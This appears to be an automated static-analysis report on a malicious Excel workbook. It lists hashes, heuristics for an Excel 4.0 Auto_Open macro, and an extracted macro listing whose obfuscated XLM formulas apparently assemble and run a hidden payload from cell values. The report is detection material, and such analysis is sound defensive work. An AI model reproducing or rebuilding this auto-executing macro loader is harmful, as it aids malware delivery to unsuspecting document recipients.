Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a29f9987e0bb04d0…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-27 11:45:34 Authoring application: Microsoft Excel First seen: 2021-03-01
MD5: 00065f46756d2a444f29a7e9d99c319e SHA-1: 9bca32c300ea79ac5b441f188ea8b1d87510d50a SHA-256: a29f9987e0bb04d05ec08b11adf9fd676405d25e9fa1547a9bdc2a8fe2d3e47d
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6704 bytes
SHA-256: 64e9e8a444b700dda014e341c30f37bf21531590d21a09aacc2c02fe3a8c22b7
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     15 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  fXIZlE
' 0018     25 LABEL : Cell Value, String Constant - abUuCVnibM len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A155 
' 0018     23 LABEL : Cell Value, String Constant - bUzhHrZg len=0 
' 0018     26 LABEL : Cell Value, String Constant - CkSPzsLojeJ len=0 
' 0018     22 LABEL : Cell Value, String Constant - ECPFxFh len=0 
' 0018     23 LABEL : Cell Value, String Constant - EHCvkjva len=0 
' 0018     26 LABEL : Cell Value, String Constant - esRxSFkoYkI len=0 
' 0018     20 LABEL : Cell Value, String Constant - gLTbR len=0 
' 0018     20 LABEL : Cell Value, String Constant - hocVL len=0 
' 0018     27 LABEL : Cell Value, String Constant - KUJFQAbVZQXd len=0 
' 0018     27 LABEL : Cell Value, String Constant - kxoygxGEACnT len=0 
' 0018     24 LABEL : Cell Value, String Constant - MCDtXrzgM len=0 
' 0018     25 LABEL : Cell Value, String Constant - MqXUPdYNry len=0 
' 0018     27 LABEL : Cell Value, String Constant - nkTDXzacnJJS len=0 
' 0018     20 LABEL : Cell Value, String Constant - ORVDt len=0 
' 0018     26 LABEL : Cell Value, String Constant - pLLAbmQXqwe len=0 
' 0018     27 LABEL : Cell Value, String Constant - RZLwnoChTXIn len=0 
' 0018     23 LABEL : Cell Value, String Constant - TqRhkQyQ len=0 
' 0018     23 LABEL : Cell Value, String Constant - yBWNbaOC len=0 
' 0018     24 LABEL : Cell Value, String Constant - zNRDiSXvj len=0 
' 0018     26 LABEL : Cell Value, String Constant - zwwverFIryk len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  fXIZlE,R52,"",-467.00000000000000000000
'  fXIZlE,R53,"",555.00000000000000000000
'  fXIZlE,R54,"",716.00000000000000000000
'  fXIZlE,R55,"",862.00000000000000000000
'  fXIZlE,R56,"",-434.00000000000000000000
'  fXIZlE,R57,"",-425.00000000000000000000
'  fXIZlE,A59,"SET.NAME("MCDtXrzgM",0+VALUE("0"))",""
'  fXIZlE,A62,"SET.NAME("kxoygxGEACnT",MCDtXrzgM)",""
'  fXIZlE,A65,"SET.NAME("bUzhHrZg",MCDtXrzgM)",""
'  fXIZlE,A68,"SET.NAME("zNRDiSXvj",COUNTA(zwwverFIryk))",""
'  fXIZlE,A72,"SET.NAME("TqRhkQyQ",COUNTA(hocVL))",""
'  fXIZlE,A75,[],""
'  fXIZlE,A77,"SET.NAME("RZLwnoChTXIn","")",""
'  fXIZlE,A80,"kxoygxGEACnT",""
'  fXIZlE,A83,"SET.NAME("CkSPzsLojeJ",HLOOKUP("*",zwwverFIryk,kxoygxGEACnT,FALSE))",""
'  fXIZlE,A85,"MqXUPdYNry",""
'  fXIZlE,A88,"SET.NAME("nkTDXzacnJJS",MCDtXrzgM)",""
'  fXIZlE,A91,[],""
'  fXIZlE,A95,"nkTDXzacnJJS",""
'  fXIZlE,A97,"ECPFxFh",""
'  fXIZlE,A102,"KUJFQAbVZQXd",""
'  fXIZlE,A107,"gLTbR",""
'  fXIZlE,A110,"SET.NAME("esRxSFkoYkI",VALUE(HLOOKUP("*",hocVL,gLTbR,FALSE)))",""
'  fXIZlE,A115,"yBWNbaOC",""
'  fXIZlE,A120,"RZLwnoChTXIn",""
'  fXIZlE,A125,"bUzhHrZg",""
'  fXIZlE,A129,NEXT(),""
'  fXIZlE,A134,"pLLAbmQXqwe",""
'  fXIZlE,A139,[],""
'  fXIZlE,A144,"EHCvkjva",""
'  fXIZlE,A146,NEXT(),""
'  fXIZlE,A150,RETURN(),""
'  fXIZlE,A185,"SET.NAME("abUuCVnibM",A59)",""
'  fXIZlE,A189,"zwwverFIryk",""
'  fXIZlE,A191,"SET.NAME("hocVL",R53C12)",""
'  fXIZlE,A196,"SET.NAME("EHCvkjva",204)",""
'  fXIZlE,A201,"SET.NAME("ORVDt",1)",""
'  fXIZlE,A203,abUuCVnibM(),""
'  fXIZlE,A204,HALT(),""

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